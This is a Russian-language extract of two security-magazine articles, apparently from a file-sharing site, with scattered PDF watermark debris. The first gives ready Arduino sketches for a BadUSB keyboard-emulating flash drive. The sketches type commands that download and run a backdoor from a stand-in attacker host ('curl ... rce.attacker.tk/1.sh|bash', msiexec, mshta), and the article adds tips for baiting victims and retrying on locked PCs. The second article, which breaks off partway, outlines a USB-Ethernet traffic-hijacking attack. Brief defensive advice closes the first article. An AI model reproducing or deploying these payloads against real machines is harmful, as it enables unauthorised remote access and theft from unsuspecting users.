Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
Скачиваний:
12
Добавлен:
20.04.2024
Размер:
18.64 Mб
Скачать

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

w Click

 

BUY

 

m

COVERSTORY

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

 

o

 

 

 

.

 

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

 

 

df

-x

 

n

e

 

 

 

 

 

 

ha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

РАЗБИРАЕМ АТАКУ BADUSB В ДЕТАЛЯХ

Об атаках­ BadUSB «Хакер» уже неоднократ­ ­ но писал. Сегодня­ мы разберем­ конкрет­ ­ ный пример­ реализации­ такой атаки­ , под­ робно опишем­ устройство­ вредонос­ ной­ флешки­ , приведем­ записанный­ на нее код и обсудим­ , как заставить­ пользовате­ ля­ Windows или Linux подклю­ чить­ ее к своему­ компьюте­ ру­ .

s0i37

Lead cybersecurity analyst at USSC t.me/s0i37_channel s0i37@ya.ru

BadUSB — это целое семейство­ атак на USB-порт, при которых подклю­ ­ чаемое устройств­ о выдае­ т себя за другой­ девайс, например­ :

HID-устройств­ о (клавиату­ ра­ или мышка­ );

Ethernet — сетевая карта­ ;

Mass storage (съемный­ накопитель­ ).

Наибо­ лее­ интерес­ ны­ первые­ два варианта­ . В сегодняшней­ статье мы рас­ смотрим­ вариан­ т с HID-устройством­ , а в следующей­ — с сетевой картой­ . Вариан­ т с HID-устройством­ — это одна из немногих­ физических­ атак, тре­ бующих социаль­ ног­ о фактора­ , то есть успех зависит от действий­ пользовате­ ­ ля. Однак­ о я вижу еще одно примене­ ние­ , не требующее­ явного­ участия­ человека­ . Но обо всем по порядку­ .

Эта статья — часть серии публикаций­ о прак­ тических­ приемах­ взлома­ и атак с использовани­ ­ ем подручных­ устройств­ , которые можно­ собрать­ дома. В этих материалах­ мы раскры­ ваем­ простые­ способы­ получения­ несанкци­ они­ рован­ ного­ дос­ тупа к защищенной­ информации­ и показываем­ , как ее оградить­ от подобных­ атак. Предыду­ щая­ статья серии: «Крокок­ ряк­ . Снимаем­ трафик­ с витой пары обычными­ „крокоди­ лами­ “».

ТЕОРИЯ

Итак, BadUSB-HID — это атака­ , при которой подклю­ ­чаемое к порту­ USB устройств­ о запрограм­ ­мирова­но, как клавиату­ ­ра (реже — как мышь), но при этом таковой не является­ . И именно­ в обманчивос­ ­ти внешнего­ вида и кроется­ элемен­ т социаль­ ­ной инженерии­ .

Самый­ популярный­ форм фактор­ такого устройства­ — флешка­ . Но, учи­ тывая небольшие­ габариты­ самого девайса­ , оно может быть встроено­ куда угодно­ — будь то веб камера или даже USB-провод­ (O.MG Cable). Под­ ходящую форму­ устройства­ задае­ т контекст­ , посколь­ ­ку выбор должен­ быть оптималь­ ­ным в той или иной ситуации­ .

Миниатюр­ ное­ устройство­ с контрол­ лером­ клавиату­ ры­ сразу­ после­ под­ ключения­ выполняе­ т произволь­ ные­ нажатия клавиш­ . Возможность­ заранее запрограм­ мировать­ эти самые нажатия обычно­ использует­ ся­ для ввода­ той или иной команды­ ОС с помощью соответс­ тву­ ющих­ горячих клавиш­ , нап­

ример Win-R или Alt-F2. BadUSB-HID — это атака­ :

на разбло­ ­киро­ван­ные ПК — подбра­ ­сыва­ние флешки­ и мгновен­ ­ный RCE; атака­ требуе­ т приман­ ­ки для пользовате­ ­ля, чтобы­ тот подклю­ ­чил устрой­ ство к ПК;

заблокиро­ ­ван­ные ПК — незаметное­ подклю­ ­чение флешки­ и отложен­ ­ный RCE; атака­ требуе­ т незаметного­ размещения­ устройства­ и отсутствия­ кон­ троля­ над атакуемой­ машиной в момент подклю­ ­чения.

Вкаждом­ случае­ мы имеем­ шанс получить RCE, а значит­ , игра явно стоит­

свеч. При этом сама атака­ обладае­ т крайне­

высокой скоростью­

, так

как нажатия произво­

­дят­ся достаточ­

­но быстро­ .

Вполне­ возможно­

, поль­

зователь даже ничего не заметит.

 

 

 

 

АППАРАТНАЯ ЧАСТЬ

На мой взгляд, решающий­ фактор­ при реализации­ девайса­ BadUSB-HID — это его дешевизна­ и простота­ производс­ ­тва. Посколь­ ­ку характер­ исполь­ зования подразуме­ ­вает подбра­ ­сыва­ние таких флешек­ , для нас это становит­ ­ ся расходным­ материалом­ .

Несколь­ ­ко простых­ и известных­ решений для эмуляции­ контрол­ ­лера кла­ виатуры­ представ­ ­лены в следующей­ таблице­ .

Зачем­ заказывать­ дорогие и привлека­ ющие­ внимание­ решения вроде­ hak5 (с логотипом­ Rubber Ducky), когда­ все можно­ собрать­ самому и за меньшую­ стоимость­ ? Если все сделать­ правиль­ но­ , нам не будет жалко­ рассыпать­ где нибудь с десяток таких «флешек­ ».

Вполне­ очевид­ ным­ выбором стане­ т плата­ семейства­ Arduino. Она недоро­ га, и еще одно преиму­ щес­ тво­ в том, что ее достаточ­ но­ просто­ купить в спе­ циализиро­ ван­ ных­ магазинах­ электро­ ники­ внутри­ страны­ , то есть в кратчай­ ­ ший срок.

Личн­ о для меня куда большей­ проблемой­ оказалось­ раздобыть­ корпус­ . Но, возможно­ , если в твоем­ городе нет подходящих­ магазинов­ , будет проще­ приобрести­ самую дешевую флешку­ подходящих­ габаритов­ и извлечь ее содержимое­ , оставив­ только­ корпус­ . Либо же распечатать­ корпус­ на 3Dпринтере­ .

Так как большая­ часть плат Arduino идет с micro-USB-интерфейсом­ , необ­ ходимо перепаять­ разъем­ под классичес­ кий­ USB-штекер­ , посколь­ ку­ во флешку­ с нестандар­ тным­ интерфейсом­ пользователь­ вряд ли поверит. Сама плата­ при этом конструк­ тивно­ может быть не приспособ­ лена­ под пайку­ штекера­ USB-A, поэтому­ можно­ прикрепить­ его к корпусу­ флешки­ с помощью клея, а саму плату­ уже припаять­ парой жестких­ проводов­ . Тогда­ усилие­ при извлечении­ флешки­ пойде­ т на ее корпус­ , а не на саму плату­ .

Чтобы­ слегка­ уменьшить­ ширину платы­ , можно­ отпилить­ пару миллимет­ ­ров с каждог­ о края в области дополнитель­ ­ных контактов­ — они нам не понадо­ бятся­ . В итоге­ мы сможем­ уместить­ нашу Arduino Pro Micro в классичес­ ­кий корпус­ для флешки­ , как показано­ на следующем­ рисунке­ .

Клавиату­ ра­ в корпусе­ флешки­

А вот так атакующая­ флешка­ выгляди­ т в собранном­ виде.

Клавиату­ ­ра и флешка­

Словом­ , желательно­ , чтобы­ у нашего устройства­ было минимум отличий­ от обычной­ флешки­ . К сожалению­ , самая мейнстри­ ­мовая плата­ Arduino Pro Micro не определя­ ­ется в Windows 7 и ниже без «дров», но сейчас­ «десятка­ » встречает­ ­ся уже куда чаще. Если необходима­ совмести­ ­мость с Windows 7 и ниже, то следуе­ т приобрести­ более дорогую плату­ Teensy либо что то ана­ логичное­ . Вполне­ вероятно­ , что на момент прочтения­ этой статьи появятся­ более подходящие­ аппарат­ ­ные решения.

ПРОГРАММНАЯ ЧАСТЬ

Благода­ ря­ встроенно­ му­ загрузчи­ ку­ Arduino поддержи­ вае­ т многок­ ратную­ перепрошив­ ку­ , так что можно­ записывать­ в нее команды­ повторно­ под каж­ дую конкрет­ ну­ ю ситуацию­ . По сути, мы будем заливать лишь пользователь­ ­ ский прикладной­ код.

Программы­ , или скетчи­ (в нотации Arduino), компилиру­ ются­ под AVR-про­ цессор­ и прошива­ ются­ через USB посредс­ твом­ все той же программы­

Arduino:

apt install arduino

arduino

При работе с эмуляци­ ей­ клавиату­ ры­ на Arduino мы применя­ ем­ пример­ но­ сле­ дующий API:

void setup(){ // Код, выполняющийся только один раз при

подключении устройства по USB

Keyboard.begin(); // Включаем режим контроллера клавиатуры

delay(2000); // Пауза в миллисекундах

Keyboard.press(KEY_LEFT_SHIFT); // Зажать клавиши

Keyboard.press(KEY_RETURN);

delay(100);

Keyboard.releaseAll(); // Отпустить зажатые клавиши

Keyboard.print("cmd /c evil command"); //

Набрать

текст на

клавиатуре

 

 

 

Keyboard.write(KEY_RETURN);

// Нажать

клавишу

 

}

void loop(){ delay(3600000); something(); } // Код, выполняющийся

постоянно

Как тольк­ о код написан, происхо­ ди­ т компиляция­ и заливка­ программы­ в кон­ троллер­ :

Сервис­ → Плата­ : Arduino Micro

Сервис­ → Последова­ тель­ ный­ порт: /dev/ttyACM0

Файл → Загрузить­

Если­ все прошло­ успешно, то через несколь­ ко­ секунд флешка­ перезагрузит­ ­ ся и выполни­ т все запрограм­ мирован­ ные­ нажатия прямо­ на твоем­ ПК. Но, понятное­ дело, эти нажатия клавиш­ будут далеко не простые­ ...

АТАКА НА РАЗБЛОКИРОВАННЫЕ КОМПЬЮТЕРЫ

Данная­ атака­ была красиво­ продемонс­ три­ рова­ на­ в сериале­ Mister Robot, ниже ты можешь полюбовать­ ся­ кадром­ из этого­ фильма­ .

Физичес­ кая­ социаль­ ная­ атака­ BadUSB в действии­

Суть атаки­ заключа­ ется­ в том, чтобы­ пользователь­ подобрал­ подбро­ шен­ ную­ нами флешку­ и подклю­ чи­ л к своему­ компьюте­ ру­ , который расположен­ , воз­ можно, где то глубок­ о в корпоратив­ ной­ или даже промыш­ ленной­ сети. После­ того как флешку­ вставя­ т в USB-порт, она выполни­ т залитый в нее код пос­ редством­ запрограм­ мирован­ ных­ нажатий клавиш­ , что впоследс­ твии­ откроет­ удален­ ный­ доступ­ злоумыш­ ленни­ ку­ .

Как мы помним­ , наше USB-устройство­ — не то, чем ожидае­ т его увидеть­ пользователь­ . В данном­ случае­ пользователь­ предполага­ ет­ , что это обычный­ съемный­ диск, но внезап­ но­ это клавиату­ ра­ ...

Как упомина­ ­лось ранее, эта атака­ требуе­ т социаль­ ­ной инженерии­ . Вот несколь­ ­ко примеров­ сценари­ ­ев, позволя­ ­ющих усыпить­ бдитель­ ­ность потен­ циальной­ жертвы­ :

посыл­ ­ка или конвер­ т с флешкой­ передается­ через ресепшен­ , например­ руководству­ ;

флешка­ подбра­ ­сыва­ется любопытному­ пользовате­ ­лю в почтовый­ ящик или возле­ офиса­ ;

флешка­ передается­ напряму­ ю под видом клиента­ (в случае­ если компания­ принима­ ­ет информацию­ на флешках­ ).

Теперь­ немног­ о о том, какие именно­ нажатия клавиш­ нужно­ выполнять­ и как с их помощью быстр­ о и гарантирован­ но­ выполнить­ код. Да такой, чтобы­ получить потом удален­ ный­ доступ­ . Самый короткий­ способ­ — запустить­ RAT (remote administrative tool), то есть установить­ на компьютер­ бэкдор­ . Нап­ ример, так:

msiexec /i http://rce.attacker.tk/shell.msi /quiet

mshta http://rce.attacker.tk/shell.hta

curl -L http://rce.attacker.tk/1.sh|bash

Каждая­ из приведен­ ­ных команд (в зависимос­ ­ти от ОС) встроенная­ , мак­ симальн­ о короткая­ и автомати­ ­чес­ки за одно действие­ скачива­ ­ет и запускает­ код по протоко­ ­лу HTTP (лучше­ HTTPS).

Перед­ атакой­ потенциаль­ ­ный взломщик­ , скорее­ всего­ , не будет рас­ полагать исчерпывающей­ информацией­ о сетевых ограниче­ ­ниях из локаль­ ной сети в сторону­ интернета­ . И нет стопроцен­ ­тной гарантии­ , что сетевое подклю­ ­чение от компьюте­ ­ра жертвы­ достигне­ т сервера­ удален­ ­ного управле­ ния. Но исполнение­ перечисленных­ выше команд запускае­ т четкую­ пос­ ледователь­ ­ность действий­ , отслежива­ ­ние которых даст атакующе­ ­му дос­ таточный­ объем­ информации­ :

1.Посколь­ ­ку мы задали адрес сервера­ по имени­ , будет выполнен­ DNS-зап­ рос. Система­ DNS — распре­ ­делен­ная, и запрос­ с компьюте­ ­ра жертвы­ , как правило­ , будет отправлен­ в любом случае­ . Если мы используем­ собс­ твенну­ ю DNS-зону, делегирован­ ­ную на наш подкон­ ­троль­ный сервер­ , то мы увидим­ данный­ запрос­ в логах. Это будет сигналом­ того, что флешка­ была подклю­ ­чена и RCE произо­ ­шел. Тем не менее это не гарантиру­ ­ет, что сетевой доступ­ возможен­ .

2.Если­ выход в интернет из корпоратив­ ­ной сети никак не ограничен­ , то на сервер­ злоумыш­ ­ленни­ка приде­ т HTTP-запрос­ , который также­ можно­ будет увидеть­ в логах. Это будет сигналом­ того, что сетевое соединение­ возможн­ о и мы сможем­ удален­ ­но управлять скомпро­ ­мети­рован­ным узлом. Тем не менее это не гарантиру­ ­ет, что защитные­ механизмы­ ОС допустят­ непосредс­ ­твен­ное исполнение­ программы­ удален­ ­ного управления­ .

3.Получен­ шелл. Атака­ прошла­ успешно.

Даже­ если атака­ не увенчает­ ся­ успехом­ , у атакующе­ го­ будет информация­ о правилах­ доступа­ в интернет с компьюте­ ров­ пользовате­ лей­ и об их осве­

домленнос­ ти­ о подобного­ рода инциден­ тах­ . Подобная­ информация­ может использовать­ ся­ при повторных­ атаках­ .

На следующем­ рисунке­ видно­ , что сразу­ после­ подклю­ ­чения флешки­ открывает­ ­ся окно «Выполнить­ » и в этом окне вводит­ ­ся команда­ , скачива­ ­ющая и запускающая­ программу­ удален­ ­ного управления­ с сервера­ злоумыш­ ­ленни­ ка.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Флешка­ в действии­

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

В результате­

 

всег­ о через

несколь­

ко­

секунд

после­

подклю­ чения­

флешки­

и запуска­ ею бэкдора­

потенциаль­

ный­

 

злоумыш­

ленник­

сможе­ т удален­ но­

управлять системой­

со всеми­ вытекающи­

ми­ последс­

тви­ ями­ .

 

 

 

 

 

 

 

Чтобы­

максималь­

н­ о сохранить­

аноним­ ность­

при выполнении­

подобной­

атаки­ и не разгла­ шать­

адрес своего­ сервера­

, можно­ восполь­

зовать­

ся­ пуб­

личными­

сервисами­

, позволя­

ющи­

ми­ залить что угодно­ , а потом скачать­

это по протоко­

лу­ HTTP, например­

paste.c-net.org или ix.io.

 

 

 

 

 

 

 

 

При реализации­

этой атаки­ на компах­ неангло­ гово­

рящих­

пользовате­

лей­

возника­

е­ т дополнитель­

ная­

проблема­

— в ОС может быть активиро­

вана­

нелатинская­

расклад­

ка­ клавиату­

ры­ , например­

русская­

. Если набор нажатий

будет произве­

ден­ не в латинской­

расклад­

ке­ , то атака­ сорвется­

.

 

 

 

 

 

 

В подобной­ ситуации­

для выполнения­

 

правиль­

ных­ нажатий можно­ исполь­

зовать два подхода­

:

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

выпол­ ­нять нажатия «как есть», потом переключить­ языковую­ расклад­ ­ку и повторить­ нажатия;

исполь­ ­зовать ALT-коды (три четыре нажатия для каждой­ буквы­ ), изменить­ статус­ клавиши­ NumLock и повторить­ нажатия.

Однознач­ ­но выигрышно­ ­го способа­ нет. В одном случае­ мы должны­ угадать­ расклад­ ­ку клавиату­ ­ры, в другом­ — активаци­ ю ее цифровой­ части­ . Какой вари­ ант использовать­ — решать каждому­ . Скорость­ набора достаточ­ ­но высокая, и нет разницы­ с ALT-кодами, но скетч файл Arduino имее­ т более читабельный­ вид при классичес­ ­ком наборе, поэтому­ выберем этот вариант­ .

Атака­ BadUSB платформен­ ­но независима­ , поэтому­ наряду с Windows можн­ о атаковать­ и Linux, и даже Mac. Вот универ­ ­саль­ный скетч для атаки­ рабочих станций­ Windows/Linux:

void windows_run() {

Keyboard.press(KEY_LEFT_GUI);

Keyboard.press('r');

delay(250);

Keyboard.releaseAll();

Keyboard.print("msiexec /i http://rce.attacker.tk/1.msi /quiet");

delay(100);

Keyboard.write(KEY_RETURN);

}

void linux_run() {

Keyboard.press(KEY_LEFT_ALT);

Keyboard.press(KEY_F2);

delay(250);

Keyboard.releaseAll();

Keyboard.print("curl -L http://rce.attacker.tk/1.sh|bash -");

delay(100);

Keyboard.write(KEY_RETURN);

}

void rce() {

windows_run();

delay(100);

linux_run();

delay(100);

}

void switchLang() {

Keyboard.press(KEY_LEFT_SHIFT);

Keyboard.press(KEY_LEFT_ALT);

delay(100);

Keyboard.releaseAll();

Keyboard.press(KEY_LEFT_SHIFT);

Keyboard.press(KEY_LEFT_CTRL);

delay(100);

Keyboard.releaseAll();

}

void setup() { // Будет выполнено при подключении устройства в USB

Keyboard.begin();

delay(2000);

rce();

switchLang();

rce();

}

Вне зависимос­ ти­ от ОС на атакуемой­ машине приведен­ ный­ выше скетч через нажатия клавиш­ на достаточ­ но­ высоких скорос­ тях­ выполни­ т две команды­ — для Windows и Linux соответс­ твен­ но­ . После­ чего переключи­ т языковую­ рас­ кладку­ двумя­ способа­ ми­ и повтори­ т команды­ еще раз. В итоге­ мы имеем­ четыре попытки­ выполнения­ команд: две, чтобы­ угадать­ ОС, и две, чтобы­ уга­ дать языкову­ ю расклад­ ку­ .

АТАКА НА ЗАБЛОКИРОВАННЫЙ КОМПЬЮТЕР

 

 

Помим­ о функции­

setup(), выполняющей­

­ся при подклю­ ­чении устройства­ ,

Arduino имее­ т предоп­ ­ределен­ную функци­

ю loop(), которая

выполняет­ ся­

в бесконеч­

­ном цикле­ .

 

 

 

 

 

 

Идея состои­ т в том, что нажатия мы

будем иницииро­

­вать не только­

в момент подклю­ ­чения к ПК, вместо­ этого­ мы будем повторять­

их в каждый­

заранее выбранный­

промежу­

­ток времени­

:

 

 

 

 

void setup() { // Будет выполнено при подключении устройства по USB

Keyboard.begin();

delay(2000);

rce();

switchLang();

rce();

}

void loop(){ delay(3600000); setup(); } // Постоянно выполняющийся

код (каждый час)

Таким­ образом­ , флешку­ можно­ незаметно­ вставить­ в заблокиро­ ван­ ный­ компьютер­ и запрограм­ мировать­ ее на отправку­ нажатий не сразу­ , а каждые­

N часов или минут, чтобы­ поймать­ момент, когда­ машина будет разбло­ киро­ ­ вана (отложен­ ный­ RCE). Пока ПК залочен, все нажатия будут уходить­ в поле ввода­ пароля и пропадать­ , то есть атака­ будет проходить­ фактичес­ ки­ бес­ следно­ .

Форм фактор­ компьюте­ ­ра может сыграть­ на руку злоумыш­ ­ленни­ку. В сис­ темный блок, задвинутый­ в пыльный­ темный­ угол, достаточ­ ­но легко­ что то незаметн­ о вставить­ , да еще и так, что потом годами никто­ этого­ не заметит. Другое­ дело — ноутбук­ , который всегда­ перед глазами­ . Но даже если все USB-порты­ атакуемо­ ­го компьюте­ ­ра на виду у пользовате­ ­ля, от него все равно­ могут тянуться­ какие то провода­ (мышь, клавиату­ ­ра и прочее­ ), так что можно­ «вклинить­ ­ся», например­ , в подклю­ ­чен­ную мышь под столом­ , раздво­ ­ив и вста­ вив исходный провод­ в небольшой­ USB-хаб с BadUSB-флешкой­ , как показа­ но на следующем­ рисунке­ .

BadUSB-HID как скрытая­ клавиату­ ра­ посередине­

По сути, такое устройство­ делае­ т бесполез­ ными­ все попытки­ обеспечить­ безопасность­ с помощью блокиров­ ки­ компьюте­ ра­ , к которой все так привык­ ­ ли. Ведь однажды в оставленный­ без присмотра­ ноутбук­ может быть встав­ лено такое устройство­ . И неважно­ , был залочен комп или нет, BadUSB-флеш­ ка будет пытаться­ выполнить­ нажатия (читай — произволь­ ный­ код) с пери­ одичность­ ю в несколь­ к­ о минут, часов или дней. И рано или поздно­ непремен­ ­ но наступит­ момент, когда­ ПК будет разлочен­ . Тогда­ вредонос­ ный­ код выпол­ нится, атакующий­ получит удален­ ный­ доступ­ и внутренняя­ сеть компании­ ока­ жется­ скомпро­ мети­ рован­ ной­ .

ЗАЩИТА

Пожалуй­ , лучшей­ защитой тут можно­ считать­ специали­ ­зиро­ван­ные програм­ ­ мные решения, разреша­ ­ющие подклю­ ­чение только­ заранее утвержден­ ­ных устройств­ из списка­ (white list). У каждого­ USB-устройства­ существу­ ­ет свой уникаль­ ­ный VendorID и ProductID, перечень которых указыва­ ­ется в white list. Все остальные­ USB-устройства­ , включая­ и BadUSB-флешки­ , не будут опоз­ наны ОС. Эта мера прекрасно­ защищае­ т не только­ от описан­ ­ной выше атаки­ , но и от ряда других­ и в целом способ­ ­на уберечь­ рабочие компьюте­ ­ры от мас­ сы нежелатель­ ­ных последс­ ­твий.

Обучать­ персонал­ , чтобы­ повысить его осведом­ ­ленность в вопросах­ информацион­ ­ной безопасности­ , тоже не будет лишним­ , так как атака­ BadUSB главным­ образом­ социаль­ ­ная и пользовате­ ­ли сами создаю­ т угрозу­ , подклю­ ­ чая незнакомое­ устройство­ к своим­ компьюте­ ­рам. Также­ руководите­ ­лям ком­ паний можн­ о рекомендовать­ периоди­ ­чес­ки осматривать­ рабочие места­ сот­ рудников­ и проверять­ , не подклю­ ­чены ли посторон­ ­ние устройства­ .

 

 

 

hang

e

 

 

 

 

 

 

C

 

E

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

wClick

 

BUY

o m

COVERSTORY

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

w

 

 

 

 

 

.c

 

 

.

 

 

c

 

 

 

 

p

 

 

g

 

 

 

 

df

 

 

n

e

 

 

 

 

-x ha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

c

 

 

.c

 

 

 

p

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

РАЗБИРАЕМ В ДЕТАЛЯХ АТАКУ BADUSB-ETH

Если­ у тебя есть возможность­ подклю­ ­чить к USB-порту­ атакуемо­ ­го компьюте­ ­ра спе­ циально­ подготов­ ­ленное устройство­ , ты можешь полностью­ перехватить­ трафик­ , получить cookies и пароли, взломать­ кон­ троллер­ домена, а контро­ ­лиро­вать ход ата­ ки по Wi-Fi. Как это реализовать­ ? Сейчас­ расска­ ­жу.

s0i37

Lead cybersecurity analyst at USSC t.me/s0i37_channel s0i37@ya.ru

Windows, Linux и macOS по умолчани­ ю умею­ т автомати­ чес­ ки­ без участия­ пользовате­ ля­ опознавать­ определен­ ные­ USB-устройства­ как сетевые карты­ Ethernet. И, что важно­ , это может происхо­ дить­ даже на заблокиро­ ван­ ных­ ПК. Именн­ о эта особен­ ность­ и дает возможность­ реализовать­ атаку­ , о которой я расска­ жу­ в сегодняшней­ статье. Этот подвид­ BadUSB-атак заключа­ ется­

в том, что подклю­ чаемое­ к порту­ USB устройство­ представ­ ляет­ ся­ сетевой картой­ . Однак­ о совсем­ непростой­ сетевой картой­ ... Но обо всем по порядку­ .

Что отличае­ т эту атаку­ от BadUSB-HID? Главное­ отличие­ в том, что рас­ сматрива­ ­емую атаку­ можно­ реализовать­ на заблокиро­ ­ван­ном компьюте­ ­ре. Кроме­ того, для проведе­ ­ния такой атаки­ не требует­ ­ся скрытное­ и длитель­ ­ное подклю­ ­чение какого либо девайса­ , она позволя­ ­ет атаковать­ цель за несколь­ ­ ко минут. Ведь если ПК разбло­ ­киро­ван, то можно­ реализовать­ более простую­ и действен­ ­ную атаку­ из предыду­ ­щей статьи или просто­ набрать­ на клавиату­ ­ре команду­ скачива­ ­ния и запуска­ бэкдора­ :

msiexec /i https://attacker.tk/backdoor.msi

В итоге­ на «ручную­ » компро­ мета­ ци­ ю оставленной­ без присмотра­ разбло­ ­ кирован­ ной­ персонал­ ки­ потребу­ ется­ всего­ три четыре секунды­ ! Компьюте­ ры­ сегодня­ повсюду­ , и торчащие­ наружу USB-порты­ можно­ увидеть­ достаточ­ но­ часто­ .

Некон­ тро­ лиру­ емый­ USB-порт в обществен­ ном­ месте­

Объектом­ атаки­ может стать заблокиро­ ван­ ный­ компьютер­ , оставленный­ без присмотра­ на короткое­ время­ , либо терминал­ , либо стенд с торчащим­ наружу USB-портом­ .

Эта статья — часть серии публикаций­ о прак­ тических­ приемах­ взлома­ и атак с использовани­ ­ ем подручных­ устройств­ , которые можно­ собрать­ дома. В этих материалах­ мы раскры­ ваем­ простые­ способы­ получения­ несанкци­ они­ рован­ ного­ дос­ тупа к защищенной­ информации­ и показываем­ , как ее оградить­ от подобных­ атак. Предыду­ щая­ статья серии: «Очень плохая­ флешка­ . Разбира­ ем­ атаку­ BadUSB в деталях».

ТЕОРИЯ

Подклю­ чаемое­ устройство­ BadUSB-ETH определя­ ется­ как сетевая карта­ Еthernet. На самом деле это не просто­ сетевая карта­ , а устройство­ , внутри­ которог­ о полноцен­ ный­ компьютер­ со своей­ ОС. И мы реализуем­ достаточ­ но­ хитру­ ю цепочку­ из множес­ тва­ атак. По сути, это собствен­ ная­ , более узко заточенная­ реализация­ Bash Bunny от Hak5. А за основу­ мы возьмем­ откры­

тый проек­ т PoisonTap.

Первое­ и самое главное­ — это то, как мы настра­ ­иваем сеть на атакуемой­ машине. В момент подклю­ ­чения интерфейс именно­ создает­ ­ся, а не поднима­ ­ ется. Это значит­ , что сразу­ после­ подклю­ ­чения ПК запроси­ т настрой­ ­ки по DHCP (дефолтное­ поведение­ ). В ответ на такой запрос­ наше устройство­ выдае­ т не совсем­ обычну­ ю конфигура­ ­цию сети, при которой она стане­ т при­ оритет­ ­ной и перекрое­ т все активные сетевые подклю­ ­чения на атакуемом­ компьюте­ ­ре. Достига­ ­ется это через более короткие­ маски­ маршру­ ­тов:

0.0.0.0/0 via 10.10.0.

1 <- исходный дефолтный маршрут, все пакеты изначально идут по нему

0.0.0.0/1 via 1.0.0.1 <- наш маршрут, перекрывающий первые 50%

IPv4-сетей

128.0.0.0/1 via 1.0.0.1 <- второй маршрут, перекрывающий вторые 50%

IPv4-сетей (маска короче, поэтому маршрут приоритетнее)

Во всех современ­ ных­ ОС маршру­ тиза­ ция­ в IP-сетях строится­ по единому­ принципу­ : чем короче маска­ сети у маршру­ та­ , тем приори­ тет­ нее­ маршрут­ . Это главное­ прави­ ло маршру­ тиза­ ции­ . И в нашем случае­ маска­ /1 чуть короче маски­ /0 дефолтно­ г­ о маршру­ та­ .

После­ примене­ ния­ таких настро­ ек­ нового сетевого­ подклю­ чения­ все пакеты от других­ сетевых интерфейсов­ пойду­ т по новому маршру­ ту­ — уже в наше хакерское­ устройство­ , и мы как бы «вытянем» весь трафик­ . Так мы сможем­ реальн­ о перехватывать­ весь сетевой трафик­ заблокиро­ ван­ ного­ устройства­ посредс­ твом­ обычного­ USB. Схематич­ но­ атака­ представ­ лена­

на рисунке­ ниже.

Схема­ атаки­ BadUSB-ETH

Не стои­ т забывать, что мы установи­ ли­ и обычный­ сетевой канал взаимо­ дей­ ­ ствия с заблокиро­ ван­ ным­ ПК. Учитывая­ это, на целевой машине может быть запущен целый спектр сетевых атак, который зависит лишь от твоей­ фан­ тазии:

NetBIOS Poisoning (Hash leak);

MS17-010, BlueKeep, PrintNightmare;

Bruteforce;

сканиро­ ­вание портов­ , скриншоты­ RDP/WWW и сбор прочих­ сведений­ .

Наконец­ , наше устройство­ является­ еще и «супершлю­ зом­ », посколь­ ку­ сетевой трафик­ , включая­ и смежные­ сетевые интерфейсы­ , идет теперь через него. Находясь в позиции «легального­ MITM», мы можем запустить­ еще ряд атак, предназна­ чен­ ных­ для перехвата­ трафика­ :

Cookie Siphoning (выкачивание­ cookie в redirect-цикле­ перебора­ сайтов­ по словарю­ );

WebCache Poisoning (внедрение­ js-backdoor в скачива­ ­емые JavaScript);

Insecure Updates (сигна­ л популярному­ ПО обновить­ ­ся и отправка­ backdoor);

Passive Snifng (FTP, SMTP, SMB, HTTP, etc).

Продолжение статьи

 

 

 

hang

e

 

 

 

 

 

 

C

 

 

E

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

wClick

 

BUY

o m

COVERSTORY

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

c

 

 

 

.c

 

 

.

 

 

 

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

df

-x

 

n

e

 

 

 

 

ha

 

 

 

 

